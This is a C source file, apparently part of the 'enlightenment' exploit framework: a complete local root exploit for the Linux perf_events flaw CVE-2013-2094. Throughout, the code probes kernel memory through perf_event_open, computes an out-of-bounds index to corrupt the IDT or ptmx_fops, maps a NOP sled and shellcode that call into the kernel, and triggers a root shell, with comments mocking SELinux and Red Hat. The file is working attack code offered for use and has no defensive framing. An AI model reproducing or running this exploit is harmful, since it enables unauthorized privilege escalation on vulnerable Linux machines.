enlightenment/exp_abacus.c

619 lines
15 KiB
C

/*
* original exploit by sd@fucksheep.org, written in 2010
* heavily modified by spender to do things and stuff
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/uio.h>
#include "exp_framework.h"
#include <assert.h>
#define BIT64 (sizeof(unsigned long) != sizeof(unsigned int))
struct exploit_state *exp_state;
int is_old_kernel = 0;
char *desc = "Abacus: Linux 2.6.37 -> 3.8.8 PERF_EVENTS local root";
char *cve = "CVE-2013-2094";
int requires_null_page = 0;
#define JMPLABELBASE64 0x1780000000
#define JMPLABELBASE32 0x01980000
#define JMPLABELBASE (BIT64 ? JMPLABELBASE64 : JMPLABELBASE32)
#define JMPLABELNOMODBASE64 0xd80000000
#define JMPLABELNOMODBASE32 0x40000000
#define JMPLABELNOMODBASE (BIT64 ? JMPLABELNOMODBASE64 : JMPLABELNOMODBASE32)
#define BASE64 0x380000000
#define BASE32 0x80000000
#define BASE (BIT64 ? BASE64 : BASE32)
#define SIZE64 0x04000000
#define SIZE32 0x01000000
#define SIZE (BIT64 ? SIZE64 : SIZE32)
#define KSIZE (BIT64 ? 0x2000000 : 0x2000)
#define SYSCALL_NO (BIT64 ? 298 : 336)
#define MAGICVAL (BIT64 ? 0x44444443 : 0x44444445)
unsigned long num_incs1;
unsigned long probe1addr;
unsigned long probe2addr;
unsigned long probebase;
static int wrap_val;
static int structsize;
static int has_jmplabel;
static int is_unaligned;
static int target_offset;
static int computed_index;
static unsigned long target_addr;
static unsigned long array_base;
unsigned long kbase;
static int xen_pv;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int ring0_cleanup(void)
{
if (BIT64) {
if (xen_pv) {
*(unsigned int *)(target_addr + target_offset) = 0;
} else {
*(unsigned int *)(target_addr + target_offset) = 0xffffffff;
}
/* clean up the probe effects for redhat tears */
*(unsigned int *)(array_base - structsize) = *(unsigned int *)(array_base - structsize) - num_incs1;
*(unsigned int *)(array_base - (2 * structsize)) = *(unsigned int *)(array_base - (2 * structsize)) - 1;
}
/* on 32bit we let the kernel clean up for us */
return 0;
}
int main_pid;
int signals_dont_work[2];
int total_children;
static int send_event(uint32_t off, int is_probe) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x320 };
int fd;
if ((int)off >= 0) {
printf(" [-] Target is invalid, index is positive.\n");
exit(1);
}
if (getpid() == main_pid)
printf(" [+] Submitting index of %d to perf_event_open\n", (int)off);
fd = syscall(SYSCALL_NO, buf, 0, -1, -1, 0);
if (fd < 0) {
printf(" [-] System rejected creation of perf event. Either this system is patched, or a previous failed exploit was run against it.\n");
if (is_probe || BIT64)
exit(1);
}
/* we don't need to hold them open in the xen pv ops case on x64 */
if (BIT64)
close(fd);
return fd;
}
//static unsigned long security_ops;
void ptmx_trigger(void)
{
struct iovec iov;
int fd;
fd = open("/dev/ptmx", O_RDWR);
if (fd < 0) {
printf(" [-] Unable to open /dev/ptmx\n");
exit(1);
}
/* this choice is arbitrary */
iov.iov_base = &iov;
iov.iov_len = sizeof(iov);
/* this one is not ;) */
if (xen_pv && is_unaligned)
writev(fd, &iov, 1);
else
readv(fd, &iov, 1);
// won't reach here
close(fd);
}
static void check_maxfiles(void)
{
unsigned long maxfiles;
FILE *f = fopen("/proc/sys/fs/file-max", "r");
if (f) {
fscanf(f, "%lu", &maxfiles);
fclose(f);
if (maxfiles < kbase) {
printf(" [-] Lack of sufficient RAM or low fs.file-max sysctl setting prevents our choice of exploitation.\n");
exit(1);
}
}
return;
}
int trigger(void)
{
/* !SMEP version */
printf(" [!] Array base is %p\n", (void *)array_base);
printf(" [!] Detected structure size of %d bytes\n", structsize);
printf(" [!] Targeting %p\n", (void *)(array_base + (structsize * computed_index)));
#ifdef __x86_64__
if (xen_pv) {
int i;
for (i = 0; i < kbase; i++) {
send_event(computed_index, 0);
}
ptmx_trigger();
} else {
send_event(computed_index, 0);
if (is_unaligned) {
asm volatile (
"pushfq\n"
"orq $0x40000, (%rsp)\n"
"popfq\n"
"test %rax, 0x1(%rsp)\n"
);
} else {
asm("int $0x4");
}
}
#else
{
unsigned long kbase_counter = 0;
int ret;
int pipes[2];
int i;
char garbage;
int max_open = 768;
int real_max = 1024;
struct rlimit rlim = { 0 };
if (!getrlimit(RLIMIT_NOFILE, &rlim)) {
real_max = rlim.rlim_max;
max_open = rlim.rlim_max - 50;
rlim.rlim_cur = rlim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &rlim))
max_open = 768;
}
/* child notification/reaping code from zx2c4 */
pipe(pipes);
pipe(signals_dont_work);
main_pid = getpid();
total_children = 0;
printf(" [!] Forking off %lu children to set required pointer value, please wait...\n", (kbase + max_open - 1) / max_open);
while (kbase_counter < kbase) {
if (!fork()) {
int x;
int savefd1, savefd2;
savefd1 = pipes[1];
savefd2 = signals_dont_work[0];
for (x = 0; x < real_max; x++)
if (x != savefd1 && x != savefd2)
close(x);
for (x = 0; x < max_open; x++)
send_event(computed_index, 0);
write(pipes[1], &garbage, 1);
read(signals_dont_work[0], &garbage, 1);
_exit(0);
}
kbase_counter += max_open;
total_children++;
}
for (i = 0; i < total_children; i++)
read(pipes[0], &garbage, 1);
ptmx_trigger();
}
#endif
/* SMEP/SMAP version, shift security_ops */
//security_ops = (unsigned long)exp_state->get_kernel_sym("security_ops");
//target_addr = security_ops;
//target_offset = 0;
//computed_index = -((array_base-target_addr-target_offset)/structsize);
//
//for (i = 0; i < sizeof(unsigned long); i++)
// send_event(computed_index, 0);
// add fancy trigger here
return 0;
}
int post(void)
{
write(signals_dont_work[1], &total_children, total_children);
return RUN_ROOTSHELL;
}
static unsigned char *map_page_file_fixed(unsigned long addr, int prot, int fd)
{
unsigned char *mem;
mem = (unsigned char *)mmap((void *)addr, 0x1000, prot, MAP_SHARED | MAP_FIXED, fd, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap file\n");
exit(1);
}
return mem;
}
static unsigned char *map_anon_page(void)
{
unsigned char *mem;
mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap\n");
exit(1);
}
return mem;
}
static void fill_file_with_char(const char *filename, unsigned char thechar)
{
int fd;
unsigned char *mem;
fd = open(filename, O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("unable to create mmap file\n");
exit(1);
}
mem = map_anon_page();
memset(mem, thechar, 0x1000);
write(fd, mem, 0x1000);
close(fd);
munmap(mem, 0x1000);
return;
}
static inline unsigned long page_align(unsigned long addr)
{
return addr & ~0x0FFFUL;
}
/* 100% of the time this works every time
* it's also completely ridiculous
*
* elito hungarian techniques!
*/
static int super_secure_probe_not_like_black_panther(void)
{
unsigned long bases[3] = { BASE, JMPLABELBASE, JMPLABELNOMODBASE };
int uniquefds[3];
unsigned long currunique;
unsigned long p;
unsigned long probe1page;
int i, x;
int fd1, fd2;
unsigned int *probe;
int mapidx = -1;
unsigned long stride;
unsigned long strideidx;
unsigned long low, high;
unsigned long ourbase;
unsigned long sel;
fill_file_with_char("./lock_me_macaroni_1", 0x44);
fill_file_with_char("./lock_me_macaroni_2", 0x44);
fill_file_with_char("./lock_me_macaroni_3", 0x44);
uniquefds[0] = open("./lock_me_macaroni_1", O_RDWR);
uniquefds[1] = open("./lock_me_macaroni_2", O_RDWR);
uniquefds[2] = open("./lock_me_macaroni_3", O_RDWR);
if (uniquefds[0] < 0 || uniquefds[1] < 0 || uniquefds[2] < 0) {
printf("Unable to open userland buffer files\n");
exit(1);
}
unlink("./lock_me_macaroni_1");
unlink("./lock_me_macaroni_2");
unlink("./lock_me_macaroni_3");
printf(" [!] Securely probing with great effort\n");
/* isolate to a single map */
for (i = 0; i < 3; i++) {
for (p = bases[i]; p < bases[i] + SIZE; p += 0x1000) {
map_page_file_fixed(p, PROT_READ | PROT_WRITE, uniquefds[i]);
if (p == bases[i]) {
char c;
assert(!mlock((void *)p, 0x1000));
/* set up pte */
c = *(volatile char *)p;
}
}
}
fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4, 1);
num_incs1++;
for (i = 0; i < 3; i++) {
probe = (unsigned int *)(bases[i]);
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
if (probe[x] == MAGICVAL) {
mapidx = i;
goto foundit;
}
}
}
foundit:
if (!BIT64)
close(fd1);
if (mapidx == -1) {
printf(" [-] Unsupported configuration.\n");
exit(1);
}
for (i = 0; i < 3; i++) {
if (i != mapidx)
munmap(bases[i], SIZE);
}
ourbase = bases[mapidx];
stride = SIZE / 2;
low = ourbase;
high = low + SIZE;
while (stride >= 0x1000) {
for (p = low; p < high; p += stride) {
memset((void *)p, 0x44, 0x1000);
msync((void *)p, 0x1000, MS_SYNC);
for (strideidx = 0; strideidx < stride/0x1000; strideidx++) {
sel = (p < (low + stride)) ? 0 : 1;
map_page_file_fixed(p + (strideidx * 0x1000), PROT_READ | PROT_WRITE, uniquefds[sel]);
}
}
fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4, 1);
num_incs1++;
probe = (unsigned int *)low;
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
if (probe[x] == MAGICVAL) {
high = low + stride;
probe1addr = (unsigned long)&probe[x];
}
}
probe = (unsigned int *)(low + stride);
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
if (probe[x] == MAGICVAL) {
low = low + stride;
probe1addr = (unsigned long)&probe[x];
}
}
if (!BIT64)
close(fd1);
stride /= 2;
}
probe1page = page_align(probe1addr);
if (!probe1addr) {
printf(" [-] Unsupported configuration.\n");
exit(1);
}
gotprobe:
/* blow away old mappings here */
map_page_file_fixed(probe1page - 0x1000, PROT_READ | PROT_WRITE, uniquefds[0]);
map_page_file_fixed(probe1page, PROT_READ | PROT_WRITE, uniquefds[1]);
map_page_file_fixed(probe1page + 0x1000, PROT_READ | PROT_WRITE, uniquefds[2]);
memset((void *)(probe1page - 0x1000), 0x44, 0x3000);
fd2 = send_event(BIT64 ? -2 : -(1024 * 1024 * 1024)/4-1, 1);
probe = (unsigned int *)(probe1page - 0x1000);
for (i = 0; i < 0x3000/sizeof(unsigned int); i++) {
if (probe[i] == MAGICVAL) {
probe2addr = (unsigned long)&probe[i];
break;
}
}
if (!BIT64)
close(fd2);
close(uniquefds[0]);
close(uniquefds[1]);
close(uniquefds[2]);
return abs(probe1addr - probe2addr);
}
int prepare(unsigned char *buf)
{
unsigned char *mem;
unsigned char *p;
int fd;
unsigned long idx;
char c;
assert(!mlock(&num_incs1, 0x1000));
structsize = super_secure_probe_not_like_black_panther();
if (structsize > 4)
has_jmplabel = 1;
wrap_val = (probe2addr - probebase) + 2 * structsize;
if (BIT64) {
/* use masked kernel range here */
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
target_addr = idt.addr;
array_base = 0xffffffff80000000UL | wrap_val;
if ((target_addr & 0xfffffffff0000000UL) != 0xffffffff80000000UL) {
xen_pv = 1;
printf(" [!] Xen PV possibly detected, switching to alternative target\n");
target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
if (!target_addr) {
printf(" [-] Symbols required for Xen PV exploitation (in this exploit).\n");
exit(1);
}
target_offset = 4 * sizeof(unsigned long);
if (has_jmplabel) {
if ((array_base - target_addr - target_offset) % structsize) {
is_unaligned = 1;
target_offset = 5 * sizeof(unsigned long);
}
}
} else {
/* do we need to target AC instead? */
if (has_jmplabel) {
if ((array_base - target_addr) % structsize) {
is_unaligned = 1;
target_offset = 0x118;
} else
target_offset = 0x48;
} else
target_offset = 0x48;
}
computed_index = -((array_base-target_addr-target_offset)/structsize);
} else {
int brute;
/* use just above mmap_min_addr here */
kbase = 0;
while (1) {
mem = (unsigned char *)mmap((void *)kbase, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem != MAP_FAILED) {
printf(" [!] Placing payload just above mmap_min_addr at %p\n", (void *)kbase);
check_maxfiles();
munmap((void *)kbase, 0x1000);
break;
} else
kbase += 0x1000;
}
array_base = (unsigned long)exp_state->get_kernel_sym("perf_swevent_enabled");
target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
if (!target_addr || !array_base) {
printf(" [-] Symbols required for i386 exploitation (in this exploit).\n");
exit(1);
}
target_offset = 4 * sizeof(unsigned long);
computed_index = 0;
for (brute = -1; brute < 0; brute--) {
if (array_base + (brute * structsize) == (target_addr + target_offset)) {
computed_index = brute;
break;
}
}
if (!computed_index) {
printf(" [-] Unable to reach ptmx_fops target under this configuration.\n");
exit(1);
}
}
fill_file_with_char("./suckit_selinux_nopz", 0x90);
fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("unable to create shellcode file\n");
exit(1);
}
mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap nop sled\n");
goto error;
}
memset(mem, 0x90, 0x1000);
p = (unsigned char *)(mem + 0x1000 - 3 - (2 * (2 + 4 + sizeof(unsigned long))));
if (BIT64) {
// swapgs
p[0] = 0x0f;
p[1] = 0x01;
p[2] = 0xf8;
}
p += 3;
// call own_the_kernel
p[0] = 0xff;
p[1] = 0x15;
*(unsigned int *)&p[2] = BIT64 ? 6 : kbase + KSIZE - (2 * sizeof(unsigned long));
// call exit_kernel
p[6] = 0xff;
p[7] = 0x25;
*(unsigned int *)&p[8] = BIT64 ? sizeof(unsigned long) : kbase + KSIZE - sizeof(unsigned long);
*(unsigned long *)&p[12] = (unsigned long)exp_state->own_the_kernel;
*(unsigned long *)&p[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
write(fd, mem, 0x1000);
close(fd);
munmap(mem, 0x1000);
fd = open("./suckit_selinux_nopz", O_RDONLY);
if (fd < 0) {
printf("unable to open nop sled file for reading\n");
goto error;
}
// map in nops and page them in
for (idx = 0; idx < (KSIZE/0x1000)-1; idx++) {
mem = (unsigned char *)mmap((void *)(kbase + idx * 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
if (mem != (unsigned char *)(kbase + idx * 0x1000)) {
printf("unable to mmap\n");
goto error;
}
if (!idx)
assert(!mlock(mem, 0x1000));
c = *(volatile char *)mem;
}
close(fd);
fd = open("./suckit_selinux", O_RDONLY);
if (fd < 0) {
printf("unable to open shellcode file for reading\n");
goto error;
}
mem = (unsigned char *)mmap((void *)(kbase + KSIZE - 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
close(fd);
if (mem != (unsigned char *)(kbase + KSIZE - 0x1000)) {
printf("unable to mmap\n");
goto error;
}
assert(!mlock(mem, 0x1000));
c = *(volatile char *)mem;
unlink("./suckit_selinux");
unlink("./suckit_selinux_nopz");
return 0;
error:
unlink("./suckit_selinux");
unlink("./suckit_selinux_nopz");
exit(1);
}